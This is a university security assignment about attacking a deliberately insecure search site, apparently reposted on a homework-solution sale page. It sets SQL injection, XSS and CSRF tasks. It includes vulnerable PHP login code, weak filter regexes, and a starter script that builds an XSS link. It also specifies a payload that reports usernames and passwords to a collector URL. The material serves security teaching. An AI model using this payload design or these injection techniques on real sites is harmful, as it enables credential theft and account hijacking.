In this project, we provide an insecure website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.A startup named BUNGLE! is about to launch its first producta web search enginebut their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS 526, so the investors have hired you to perform a security evaluation before it goes live.BUNGLE! is available for you to test at http://cs526-s18.cs.purdue.edu/project3/.[1]The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places. If you wish, you can download and inspect the Python source code at https://www.cs.purdue.edu/homes/clg/CS526/projects/proj3.tar.gz, but this is not necessary to complete the project.In addition to providing search results, the site accepts logins and tracks users search histories. It stores usernames, passwords, and search history in a MySQL database.Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: /, /search, /login, /logout, and /create. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.Main page (/) The main page accepts GET requests and displays a search form. When submitted, this form issues a GET request to /search, sending the search string as the parameter q.If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues POST requests to /login and /create.Search results (/search) The search results page accepts GET requests and prints the search string, supplied in the q query parameter, along with the search results. If the user is logged in, the page also displays the users recent search history in a sidebar.Note: Since actual search is not relevant to this project, you might not receive any results.Login handler (/login) The login handler accepts POST requests and takes plaintext username and password query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is not part of this project.Logout handler (/logout) The logout handler accepts POST requests. It deletes the login cookie, if set, and redirects the browser to the main page.Create account handler (/create) The create account handler accepts POST requests and receives plaintext username and password query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groupswill not guess, but never use an important password to test an insecure site!Your first goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. In order to protect other students accounts, weve made a series of separate login forms for you to attack that arent part of the main BUNGLE! site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user victim:1.0 No defensesTarget: http://cs526-s18.cs.purdue.edu/project3/sqlinject0/ Submission: sql_0.txt1.1 Simple escapingThe server escapes single quotes () in the inputs by replacing them with two single quotes.Target: http://cs526-s18.cs.purdue.edu/project3/sqlinject1/ Submission: sql_1.txt1.2 Escaping and hashing [Extra credit]The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password.if (isset($_POST[username]) and isset($_POST[password])) {$username = mysql_real_escape_string($_POST[username]);$password = md5($_POST[password], true);$sql_s = SELECT * FROM users WHERE username=$username and pw=$password;$rs = mysql_query($sql_s); if (mysql_num_rows($rs) > 0) { echo Login successful!;} else { echo Incorrect username or password; }}You will need to write a program to produce a working exploit. You can use any language you like, but we recommend C.Target: http://cs526-s18.cs.purdue.edu/project3/sqlinject2/ Submissions: sql_2.txt and sql_2.tar.gz1.3 Double escaping [Extra credit]The server works similarly to the previous example, but instead of hashing, it escapes the password in the same way as the username, by calling mysql_real_escape_string().Target: http://cs526-s18.cs.purdue.edu/project3/sqlinject3/ Submission: sql_3.txtWhat to submit When you successfully log in as victim, the server will provide a URL-encoded version of your form inputs. Submit a text file with the specified filename containing only this line.Now that youre warmed up, your goal is to demonstrate XSS attacks against the BUNGLE! search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, if loaded in the victims browser, correctly executes the payload specified below. We recommend that you begin by testing with a simple payload (e.g., alert(0);), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. After the victim visits the URL you create, all functions of the BUNGLE! site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. Your payload needs to accomplish these goals:Stealth:(Minor text formatting glitches are acceptable.)(Hint: Learn about the HTML5 History API.)Spying:http://127.0.0.1:31337/stolen?event=login&user=<username>&pass=<password> http://127.0.0.1:31337/stolen?event=logout&user=<username>You can test receiving this data on your local machine by using running a basic Python server:(Python 2) $ python -m SimpleHTTPServer 31337(Python 3) $ python -m http.server 31337(<username> should be omitted if no user is logged in.)There are four levels of defense. In each case, you should submit the simplest attack you can find that works against that defense; you should not simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL and the filename you should submit.2.0 No defensesTarget: http://cs526-s18.cs.purdue.edu/project3/search?xssdefense=0 Submission: xss_0.txtAlso submit a human readable version of the code you use to generate your URL, as a file named xss_payload.html.2.1 Remove script filtered = re.sub(r(?i)script, , input)Target: http://cs526-s18.cs.purdue.edu/project3/search?xssdefense=1 Submission: xss_1.txt2.2 Remove several tags filtered = re.sub(r(?i)script|<img|<body|<style|<meta|<embed|<object, , input)Target: http://cs526-s18.cs.purdue.edu/project3/search?xssdefense=2 Submission: xss_2.txt2.3 Remove some punctuation filtered = re.sub(r[;], , input)Target: http://cs526-s18.cs.purdue.edu/project3/search?xssdefense=3 Submission: xss_3.txt2.4 Encode < and > [Extra credit] filtered = input.replace(<, <).replace(>, >)Target: http://cs526-s18.cs.purdue.edu/project3/search?xssdefense=4 Submission: xss_4.txtYou may build your solution from the following framework if you wish.<meta charset=utf-8><script src=http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js></script> <script>// Extend this function: function payload(attacker) {function proxy(href) {$(html).load(href, function(){$(html).show();$(#query).val(pwned!);});}$(html).hide(); proxy(./);}function makeLink(xssdefense, target, attacker) { if (xssdefense == 0) { return target + ./search?xssdefense= + xssdefense.toString() + &q= + encodeURIComponent(<script + > + payload.toString() +;payload( + attacker + );</script + >);} else {// Implement code to defeat XSS defenses here. }}var xssdefense = 0;var target = http://cs526-s18.cs.purdue.edu/project3/; var attacker = http://127.0.0.1:31337/;$(function() { var url = makeLink(xssdefense, target, attacker);$(h3).html(<a target=run href= + url + >Try Bungle!</a>);});</script><h3></h3>Your final task is to demonstrate CSRF vulnerabilities against the login form, and BUNGLE! has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victims search queries by viewing the search history for this account. For each of the defenses below, create an HTML file that, when opened by a victim, logs their browser into BUNGLE! under the account attacker and password 123456.[2]Your solutions should not display evidence of an attack; the browser should just display a blank page. (If the victim later visits Bungle, it will say logged in as attacker, but thats fine for purposes of the project. After all, most users wont immediately notice.)3.0 No defensesTarget: http://cs526-s18.cs.purdue.edu/project3/login?csrfdefense=0&xssdefense=4 Submission: csrf_0.html3.1 Token validationThe server sets a cookie named csrf_token to a random 16-byte value and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the clients cookie matches the value in the form. You are allowed to exploit the XSS vulnerability from Part 2 to accomplish your goal.Target: http://cs526-s18.cs.purdue.edu/project3/login?csrfdefense=1&xssdefense=0 Submission: csrf_1.html3.2 Token validation, without XSS [Extra credit] Accomplish the same task as in 3.1 without using XSS.Target: https://cs526-s18.cs.purdue.edu/project3/login?csrfdefense=1&xssdefense=4 Submission: csrf_2.htmlFor each of the three attacks (SQL injection, CSRF, and XSS), write a short paragraph about the techniques BUNGLE! should use to defend against that attack. Place these paragraphs in a file entitled writeup.txt. If you find any additional security vulnerabilities in the site or have suggestions about how we might improve this project in the future, include them as well.[ CSRF prevention ]
3, CS526-Project, solved
[SOLVED] Cs526-project 3
$25
File Name: Cs526-project_3.zip
File Size: 141.3 KB
Only logged in customers who have purchased this product may leave a review.
Reviews
There are no reviews yet.